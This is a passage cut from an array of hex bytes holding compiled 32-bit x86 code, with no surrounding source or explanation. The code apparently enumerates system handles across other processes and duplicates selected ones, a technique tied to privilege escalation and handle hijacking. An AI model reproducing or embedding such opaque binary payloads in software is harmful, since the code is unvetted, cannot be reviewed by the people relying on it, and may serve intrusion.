,0x48,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xE8,0x23,0xFF,0xFF,0xFF,0x89,0x45,0xEC,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x83,0x7D,0x44,0x00,0x75,0x06,0x83,0x7D,0x48,0x00,0x74,0x07,0xB8,0x01,0x00,0x00,0x00,0xEB,0x05,0xB8,0x00,0x00,0x00,0x00,0x89,0x45,0xDC,0x83,0x7D,0x08,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xE3,0x01,0x00,0x00,0x83,0x7D,0x18,0x00,0x74,0x0E,0xC7,0x45,0x14,0x01,0x00,0x00,0x00,0xC7,0x45,0x10,0x01,0x00,0x00,0x00,0x83,0x7D,0x48,0x00,0x74,0x07,0xC7,0x45,0x10,0x01,0x00,0x00,0x00,0x83,0x7D,0x4C,0x00,0x74,0x04,0x83,0x4D,0xE8,0x02,0x83,0x7D,0x38,0x00,0x75,0x06,0x83,0x7D,0x3C,0x00,0x74,0x10,0x83,0x7D,0xDC,0x00,0x75,0x0A,0xE8,0xE4,0xFE,0xFF,0xFF,0x89,0x45,0xEC,0xEB,0x0E,0x83,0x7D,0x4C,0x00,0x74,0x08,0xE8,0x13,0xFF,0xFF,0xFF,0x89,0x45,0xEC,0x8B,0x45,0xEC,0x89,0x45,0xE0,0x83,0x7D,0x14,0x00,0x74,0x07,0xC7,0x45,0xEC,0x00,0x10,0x00,0x00,0x8B,0x45,0xE8,0x89,0x44,0x24,0x18,0x8B,0x45,0x24,0x89,0x44,0x24,0x14,0x8B,0x45,0x20,0x89,0x44,0x24,0x10,0x8B,0x45,0x1C,0x89,0x44,0x24,0x0C,0x8B,0x45,0x10,0x89,0x44,0x24,0x08,0x8B,0x45,0xEC,0x89,0x44,0x24,0x04,0x8B,0x45,0x0C,0x89,0x04,0x24,0xE8,0x48,0x01,0x00,0x00,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x0F,0x84,0x0C,0x01,0x00,0x00,0x8B,0x45,0xEC,0x89,0x44,0x24,0x04,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0x32,0xFC,0xFF,0xFF,0x89,0x45,0xE4,0x83,0x7D,0xE4,0x00,0x0F,0x84,0xF0,0x00,0x00,0x00,0x83,0x7D,0x14,0x00,0x74,0x46,0x8B,0x45,0xE8,0x89,0x44,0x24,0x08,0x8B,0x45,0xE0,0x89,0x44,0x24,0x04,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0x17,0xFD,0xFF,0xFF,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x0F,0x84,0xC7,0x00,0x00,0x00,0x8B,0x45,0xE0,0x89,0x44,0x24,0x04,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0xE7,0xFB,0xFF,0xFF,0x89,0x45,0xE4,0x83,0x7D,0xE4,0x00,0x75,0x53,0xE9,0xB4,0x00,0x00,0x00,0x83,0x7D,0x38,0x00,0x75,0x0C,0x83,0x7D,0x3C,0x00,0x75,0x06,0x83,0x7D,0x4C,0x00,0x74,0x3C,0x83,0x7D,0xDC,0x00,0x74,0x36,0x8B,0x45,0xE8,0x89,0x44,0x24,0x04,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0x46,0xFC,0xFF,0xFF,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x74,0x77,0x8B,0x45,0xE0,0x89,0x44,0x24,0x04,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0x94,0xFB,0xFF,0xFF,0x89,0x45,0xE4,0x83,0x7D,0xE4,0x00,0x74,0x5F,0x83,0x7D,0x38,0x00,0x74,0x1B,0x8B,0x45,0xE8,0x89,0x44,0x24,0x04,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0xF9,0x0A,0x00,0x00,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x74,0x41,0x83,0x7D,0x3C,0x00,0x74,0x1B,0x8B,0x45,0x40,0x89,0x44,0x24,0x04,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0xB4,0x0B,0x00,0x00,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x74,0x23,0xC7,0x45,0xF4,0x01,0x00,0x00,0x00,0x8B,0x45,0x08,0x8B,0x55,0xF0,0x89,0x10,0xEB,0x13,0x90,0xEB,0x10,0x90,0xEB,0x0D,0x90,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x7D,0xF4,0x00,0x75,0x11,0x83,0x7D,0xF0,0x00,0x74,0x0B,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0x32,0x2A,0x00,0x00,0x8B,0x45,0xF4,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x28,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0x83,0x7D,0x1C,0x00,0x75,0x71,0x83,0x7D,0x10,0x00,0x74,0x1E,0x8B,0x45,0x20,0x89,0x44,0x24,0x08,0x8B,0x45,0x0C,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0xE3,0x06,0x00,0x00,0x89,0x45,0xF4,0xEB,0x4D,0x83,0x7D,0x14,0x00,0x75,0x47,0x83,0x7D,0x18,0x00,0x75,0x41,0x83,0x7D,0x08,0x00,0x74,0x26,0x8B,0x45,0x20,0x89,0x44,0x24,0x0C,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0x8B,0x45,0x0C,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0xA0,0x00,0x00,0x00,0x89,0x45,0xF4,0xEB,0x15,0x8B,0x45,0x20,0x89,0x44,0x24,0x04,0x8B,0x45,0x0C,0x89,0x04,0x24,0xE8,0x08,0x00,0x00,0x00,0x89,0x45,0xF4,0x8B,0x45,0xF4,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x38,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x8B,0x45,0xF0,0x8D,0x55,0xF0,0x89,0x54,0x24,0x10,0xC7,0x44,0x24,0x0C,0x00,0x00,0x00,0x00,0x8B,0x55,0x0C,0x89,0x54,0x24,0x08,0x8B,0x55,0x08,0x89,0x54,0x24,0x04,0x89,0x04,0x24,0xE8,0x2D,0x29,0x00,0x00,0x89,0x45,0xF4,0x81,0x7D,0xF4,0x1A,0x00,0x00,0x80,0x75,0x1F,0xC7,0x04,0x24,0x64,0xE5,0x48,0x65,0xE8,0x58,0xD3,0xFF,0xFF,0xC7,0x04,0x24,0x06,0xE5,0x48,0x65,0xE8,0x4C,0xD3,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xEB,0x1F,0x83,0x7D,0xF4,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x12,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0xD3,0xEB,0xFF,0xFF,0x85,0xC0,0x74,0x91,0x8B,0x45,0xF0,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xD8,0x18,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0x8B,0x45,0x14,0x89,0x45,0xE4,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0xC7,0x45,0xD4,0x00,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x45,0xD0,0xC7,0x45,0xD4,0x00,0x00,0x00,0x00,0x8D,0x45,0xD0,0x89,0x44,0x24,0x0C,0x8D,0x45,0xD8,0x89,0x44,0x24,0x08,0x8B,0x45,0x0C,0x89,0x44,0x24,0x04,0x8D,0x45,0xF0,0x89,0x04,0x24,0xE8,0x4F,0x28,0x00,0x00,0x89,0x45,0xF4,0x81,0x7D,0xF4,0x0B,0x00,0x00,0xC0,0x75,0x2C,0x83,0x7D,0x10,0x00,0x75,0x1F,0x8B,0x45,0x08,0x89,0x44,0x24,0x04,0xC7,0x04,0x24,0xAC,0xE5,0x48,0x65,0xE8,0x8E,0xD2,0xFF,0xFF,0xC7,0x04,0x24,0x06,0xE5,0x48,0x65,0xE8,0x82,0xD2,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xEB,0x45,0x81,0x7D,0xF4,0x22,0x00,0x00,0xC0,0x75,0x2C,0x83,0x7D,0x10,0x00,0x75,0x1F,0x8B,0x45,0x08,0x89,0x44,0x24,0x04,0xC7,0x04,0x24,0xD4,0xE5,0x48,0x65,0xE8,0x59,0xD2,0xFF,0xFF,0xC7,0x04,0x24,0x06,0xE5,0x48,0x65,0xE8,0x4D,0xD2,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xEB,0x10,0x83,0x7D,0xF4,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x03,0x8B,0x45,0xF0,0xC9,0xC3,0x55,0x89,0xE5,0x53,0x83,0xEC,0x34,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x01,0x00,0x00,0xC0,0xC7,0x45,0xE4,0x14,0x00,0x00,0x00,0x8B,0x45,0xE4,0x89,0x45,0xF0,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0x8B,0x5D,0xE4,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x89,0x5C,0x24,0x08,0xC7,0x44,0x24,0x04,0x08,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x4C,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x0F,0x84,0xD3,0x00,0x00,0x00,0x8B,0x45,0xE4,0x8D,0x55,0xE4,0x89,0x54,0x24,0x0C,0x89,0x44,0x24,0x08,0x8B,0x45,0xEC,0x89,0x44,0x24,0x04,0xC7,0x04,0x24,0x10,0x00,0x00,0x00,0xE8,0x03,0x29,0x00,0x00,0x89,0x45,0xE8,0x81,0x7D,0xE8,0x04,0x00,0x00,0xC0,0x75,0x7E,0x83,0x7D,0xEC,0x00,0x74,0x44,0x8B,0x45,0xF0,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8B,0x45,0xEC,0x89,0x04,0x24,0xE8,0x7A,0x63,0x00,0x00,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x8B,0x55,0xEC,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0x8B,0x45,0xE4,0x89,0x45,0xF0,0x8B,0x5D,0xE4,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x89,0x5C,0x24,0x08,0xC7,0x44,0x24,0x04,0x08,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x4C,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x75,0x0A,0xEB,0x29,0x83,0x7D,0xE8,0x00,0x79,0x08,0xEB,0x21,0x90,0xE9,0x47,0xFF,0xFF,0xFF,0x90,0x8B,0x45,0x08,0x8B,0x55,0xEC,0x89,0x10,0x8B,0x55,0xE4,0x8B,0x45,0x0C,0x89,0x10,0xC7,0x45,0xF4,0x01,0x00,0x00,0x00,0xEB,0x01,0x90,0x83,0x7D,0xF4,0x00,0x75,0x50,0x83,0x7D,0xEC,0x00,0x74,0x4A,0x83,0x7D,0xEC,0x00,0x74,0x44,0x8B,0x45,0xE4,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8B,0x45,0xEC,0x89,0x04,0x24,0xE8,0xC7,0x62,0x00,0x00,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x8B,0x55,0xEC,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0x8B,0x45,0xF4,0x8B,0x5D,0xFC,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x10,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xEB,0x1A,0x8B,0x45,0x08,0x8B,0x55,0xFC,0x8B,0x44,0x90,0x04,0x39,0x45,0x0C,0x75,0x07,0xB8,0x01,0x00,0x00,0x00,0xEB,0x13,0x83,0x45,0xFC,0x01,0x8B,0x45,0x08,0x8B,0x00,0x39,0x45,0xFC,0x72,0xDC,0xB8,0x00,0x00,0x00,0x00,0xC9,0xC3,0x55,0x89,0xE5,0x53,0x83,0xEC,0x24,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0xC7,0x44,0x24,0x08,0x24,0x4E,0x00,0x00,0xC7,0x44,0x24,0x04,0x08,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x4C,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x0F,0x84,0xA1,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xEB,0x79,0x8B,0x45,0xF0,0xC1,0xE0,0x04,0x89,0xC2,0x8B,0x45,0x08,0x01,0xD0,0x83,0xC0,0x04,0x89,0x45,0xE8,0x8B,0x45,0xE8,0x0F,0xB7,0x00,0x0F,0xB7,0xC0,0x89,0x44,0x24,0x04,0x8B,0x45,0xEC,0x89,0x04,0x24,0xE8,0x4C,0xFF,0xFF,0xFF,0x85,0xC0,0x75,0x46,0x8B,0x45,0xEC,0x8B,0x00,0x83,0xC0,0x01,0x3D,0x88,0x13,0x00,0x00,0x76,0x1A,0xC7,0x04,0x24,0xF4,0xE5,0x48,0x65,0xE8,0xD6,0xCF,0xFF,0xFF,0xC7,0x04,0x24,0x06,0xE5,0x48,0x65,0xE8,0xCA,0xCF,0xFF,0xFF,0xEB,0x41,0x8B,0x45,0xE8,0x0F,0xB7,0x18,0x8B,0x45,0xEC,0x8B,0x00,0x8D,0x48,0x01,0x8B,0x55,0xEC,0x89,0x0A,0x0F,0xB7,0xCB,0x8B,0x55,0xEC,0x89,0x4C,0x82,0x04,0x83,0x45,0xF0,0x01,0x8B,0x45,0x08,0x8B,0x00,0x39,0x45,0xF0,0x0F,0x82,0x79,0xFF,0xFF,0xFF,0x8B,0x45,0x0C,0x8B,0x55,0xEC,0x89,0x10,0xC7,0x45,0xF4,0x01,0x00,0x00,0x00,0xEB,0x01,0x90,0x83,0x7D,0xF4,0x00,0x75,0x51,0x83,0x7D,0xEC,0x00,0x74,0x4B,0x83,0x7D,0xEC,0x00,0x74,0x45,0xC7,0x44,0x24,0x08,0x24,0x4E,0x00,0x00,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8B,0x45,0xEC,0x89,0x04,0x24,0xE8,0x46,0x61,0x00,0x00,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x8B,0x55,0xEC,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0x8B,0x45,0xF4,0x8B,0x5D,0xFC,0xC9,0xC3,0x55,0x89,0xE5,0x53,0x83,0xEC,0x34,0xC7,0x45,0xF4,0x01,0x00,0x00,0xC0,0xC7,0x45,0xE8,0x00,0x10,0x00,0x00,0x8B,0x45,0xE8,0x89,0x45,0xF0,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0x8B,0x45,0xE8,0x89,0x45,0xF0,0x8B,0x5D,0xE8,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x89,0x5C,0x24,0x08,0xC7,0x44,0x24,0x04,0x08,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x4C,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xA5,0x00,0x00,0x00,0x8B,0x45,0xE8,0x8D,0x55,0xE8,0x89,0x54,0x24,0x10,0x89,0x44,0x24,0x0C,0x8B,0x45,0xEC,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x03,0x00,0x00,0x00,0xC7,0x04,0x24,0x00,0x00,0x00,0x00,0xE8,0x2C,0x26,0x00,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x78,0x17,0x8B,0x45,0x08,0x8B,0x55,0xEC,0x89,0x10,0x8B,0x55,0xE8,0x8B,0x45,0x0C,0x89,0x10,0xB8,0x01,0x00,0x00,0x00,0xEB,0x5C,0x83,0x7D,0xEC,0x00,0x74,0x44,0x8B,0x45,0xF0,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8B,0x45,0xEC,0x89,0x04,0x24,0xE8,0x4D,0x60,0x00,0x00,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x8B,0x55,0xEC,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0x81,0x7D,0xF4,0x04,0x00,0x00,0xC0,0x0F,0x84,0x24,0xFF,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0x8B,0x5D,0xFC,0xC9,0xC3,0x55,0x89,0xE5,0x53,0x83,0xEC,0x34,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x8D,0x45,0xE0,0x89,0x44,0x24,0x04,0x8D,0x45,0xE4,0x89,0x04,0x24,0xE8,0xBC,0xFE,0xFF,0xFF,0x89,0x45,0xE8,0x83,0x7D,0xE8,0x00,0x74,0x67,0x8B,0x45,0xE4,0x83,0xC0,0x04,0x89,0x45,0xF0,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xEB,0x49,0x8B,0x45,0xF0,0x8B,0x40,0x04,0x8B,0x55,0x08,0x89,0x54,0x24,0x04,0x89,0x04,0x24,0xA1,0x9C,0x61,0x49,0x65,0xFF,0xD0,0x85,0xC0,0x75,0x14,0x8B,0x45,0xEC,0x8D,0x50,0x02,0x8B,0x45,0x0C,0x89,0x10,0xC7,0x45,0xF4,0x01,0x00,0x00,0x00,0xEB,0x27,0x8B,0x45,0xF0,0x0F,0xB7,0x40,0x02,0x0F,0xB7,0xC0,0x83,0xC0,0x03,0x83,0xE0,0xFC,0x83,0xC0,0x60,0x01,0x45,0xF0,0x83,0x45,0xEC,0x01,0x8B,0x45,0xE4,0x8B,0x00,0x39,0x45,0xEC,0x72,0xAD,0xEB,0x01,0x90,0x8B,0x45,0xE4,0x85,0xC0,0x74,0x4B,0x8B,0x45,0xE4,0x85,0xC0,0x74,0x44,0x8B,0x55,0xE0,0x8B,0x45,0xE4,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xE8,0x37,0x5F,0x00,0x00,0x8B,0x5D,0xE4,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x89,0x5C,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0x8B,0x45,0xF4,0x8B,0x5D,0xFC,0xC9,0xC3,0x55,0x89,0xE5,0x53,0x83,0xEC,0x74,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xE0,0x01,0x00,0x00,0xC0,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xC4,0x00,0x00,0x00,0x00,0xC7,0x45,0xC0,0x00,0x00,0x00,0x00,0xC7,0x45,0xBC,0x00,0x00,0x00,0x00,0xC7,0x45,0xB8,0x00,0x00,0x00,0x00,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0xC7,0x45,0xD4,0x00,0x00,0x00,0x00,0xC7,0x45,0xB4,0x00,0x00,0x00,0x00,0x8D,0x45,0xB4,0x89,0x44,0x24,0x04,0xC7,0x04,0x24,0x08,0xE5,0x48,0x65,0xE8,0x8B,0xFE,0xFF,0xFF,0x89,0x45,0xDC,0x83,0x7D,0xDC,0x00,0x0F,0x84,0x2A,0x02,0x00,0x00,0x8D,0x45,0xBC,0x89,0x44,0x24,0x04,0x8D,0x45,0xC0,0x89,0x04,0x24,0xE8,0x58,0xFA,0xFF,0xFF,0x89,0x45,0xDC,0x83,0x7D,0xDC,0x00,0x0F,0x84,0x0E,0x02,0x00,0x00,0x8B,0x45,0xC0,0x8D,0x55,0xB8,0x89,0x54,0x24,0x04,0x89,0x04,0x24,0xE8,0xFE,0xFB,0xFF,0xFF,0x89,0x45,0xDC,0x83,0x7D,0xDC,0x00,0x0F,0x84,0xF2,0x01,0x00,0x00,0xC7,0x45,0xCC,0x20,0x00,0x00,0x00,0x8B,0x45,0xCC,0x64,0x8B,0x00,0x89,0x45,0xC8,0x8B,0x45,0xC8,0x89,0x45,0xD4,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xE9,0x96,0x01,0x00,0x00,0x8B,0x45,0xB8,0x8B,0x55,0xE8,0x8B,0x44,0x90,0x04,0x89,0x45,0xD8,0x8B,0x45,0xD8,0x3B,0x45,0xD4,0x0F,0x84,0x6F,0x01,0x00,0x00,0x8B,0x45,0xD8,0x3B,0x45,0x08,0x0F,0x84,0x66,0x01,0x00,0x00,0x83,0x7D,0xD8,0x00,0x0F,0x84,0x5F,0x01,0x00,0x00,0x83,0x7D,0xD8,0x04,0x0F,0x84,0x58,0x01,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xE9,0x11,0x01,0x00,0x00,0x8B,0x45,0xC0,0x8B,0x55,0xE4,0xC1,0xE2,0x04,0x01,0xD0,0x83,0xC0,0x04,0x89,0x45,0xD0,0x8B,0x45,0xD0,0x0F,0xB7,0x00,0x0F,0xB7,0xC0,0x39,0x45,0xD8,0x0F,0x85,0xE0,0x00,0x00,0x00,0x8B,0x45,0xD0,0x0F,0xB6,0x40,0x04,0x0F,0xB6,0xD0,0x8B,0x45,0xB4,0x39,0xC2,0x0F,0x85,0xCE,0x00,0x00,0x00,0x8B,0x45,0xD0,0x8B,0x40,0x0C,0x23,0x45,0x0C,0x39,0x45,0x0C,0x0F,0x85,0xBF,0x00,0x00,0x00,0x83,0x7D,0xEC,0x00,0x75,0x30,0xC7,0x44,0x24,0x0C,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x08,0x01,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x40,0x00,0x00,0x00,0x8B,0x45,0xD8,0x89,0x04,0x24,0xE8,0x5B,0xF8,0xFF,0xFF,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x0F,0x84,0xA1,0x00,0x00,0x00,0xC7,0x45,0xC4,0x00,0x00,0x00,0x00,0x8B,0x45,0xD0,0x0F,0xB7,0x40,0x06,0x0F,0xB7,0xC0,0x89,0xC2,0xC7,0x44,0x24,0x18,0x02,0x00,0x00,0x00,0x8B,0x45,0x10,0x89,0x44,0x24,0x14,0xC7,0x44,0x24,0x10,0x00,0x00,0x00,0x00,0x8D,0x45,0xC4,0x89,0x44,0x24,0x0C,0xC7,0x44,0x24,0x08,0xFF,0xFF,0xFF,0xFF,0x89,0x54,0x24,0x04,0x8B,0x45,0xEC,0x89,0x04,0x24,0xE8,0x94,0x22,0x00,0x00,0x89,0x45,0xE0,0x83,0x7D,0xE0,0x00,0x78,0x3B,0x8B,0x45,0xC4,0x89,0x04,0x24,0xE8,0xBC,0xE3,0xFF,0xFF,0x85,0xC0,0x74,0x0F,0xC7,0x45,0xF4,0x01,0x00,0x00,0x00,0x8B,0x45,0xC4,0x89,0x45,0xF0,0xEB,0x33,0x8B,0x45,0xC4,0x89,0x04,0x24,0xE8,0xF7,0x20,0x00,0x00,0xC7,0x45,0xC4,0x00,0x00,0x00,0x00,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x45,0xE4,0x01,0x8B,0x45,0xC0,0x8B,0x00,0x39,0x45,0xE4,0x0F,0x82,0xE1,0xFE,0xFF,0xFF,0xEB,0x01,0x90,0x83,0x7D,0xEC,0x00,0x74,0x1E,0x8B,0x45,0xEC,0x89,0x04,0x24,0xE8,0xBE,0x20,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x45,0xE8,0x01,0x83,0x7D,0xF4,0x00,0x75,0x0E,0x8B,0x45,0xB8,0x8B,0x00,0x39,0x45,0xE8,0x0F,0x82,0x56,0xFE,0xFF,0xFF,0x83,0x7D,0xF4,0x00,0x75,0x23,0xC7,0x04,0x24,0x28,0xE6,0x48,0x65,0xE8,0x82,0xCA,0xFF,0xFF,0xC7,0x04,0x24,0x06,0xE5,0x48,0x65,0xE8,0x76,0xCA,0xFF,0xFF,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x8B,0x45,0xC0,0x85,0xC0,0x74,0x4B,0x8B,0x45,0xC0,0x85,0xC0,0x74,0x44,0x8B,0x55,0xBC,0x8B,0x45,0xC0,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xE8,0x2E,0x5C,0x00,0x00,0x8B,0x5D,0xC0,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x89,0x5C,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xC0,0x00,0x00,0x00,0x00,0x8B,0x45,0xB8,0x85,0xC0,0x74,0x4C,0x8B,0x45,0xB8,0x85,0xC0,0x74,0x45,0x8B,0x45,0xB8,0xC7,0x44,0x24,0x08,0x24,0x4E,0x00,0x00,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xE8,0xDB,0x5B,0x00,0x00,0x8B,0x5D,0xB8,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x89,0x5C,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xB8,0x00,0x00,0x00,0x00,0x83,0x7D,0xEC,0x00,0x74,0x0B,0x8B,0x45,0xEC,0x89,0x04,0x24,0xE8,0xB3,0x1F,0x00,0x00,0x83,0x7D,0xF4,0x00,0x74,0x05,0x8B,0x45,0xF0,0xEB,0x05,0xB8,0x00,0x00,0x00,0x00,0x8B,0x5D,0xFC,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x58,0x83,0x7D,0x08,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xC4,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB9,0x00,0x00,0x00,0x00,0xB8,0x18,0x00,0x00,0x00,0x83,0xE0,0xFC,0x89,0xC2,0xB8,0x00,0x00,0x00,0x00,0x89,0x4C,0x05,0xD8,0x83,0xC0,0x04,0x39,0xD0,0x72,0xF5,0xC7,0x45,0xF4,0x01,0x00,0x00,0xC0,0xC7,0x45,0xD8,0x18,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0x8B,0x45,0x0C,0x89,0x45,0xE4,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x1C,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x18,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x14,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x10,0x04,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x44,0x2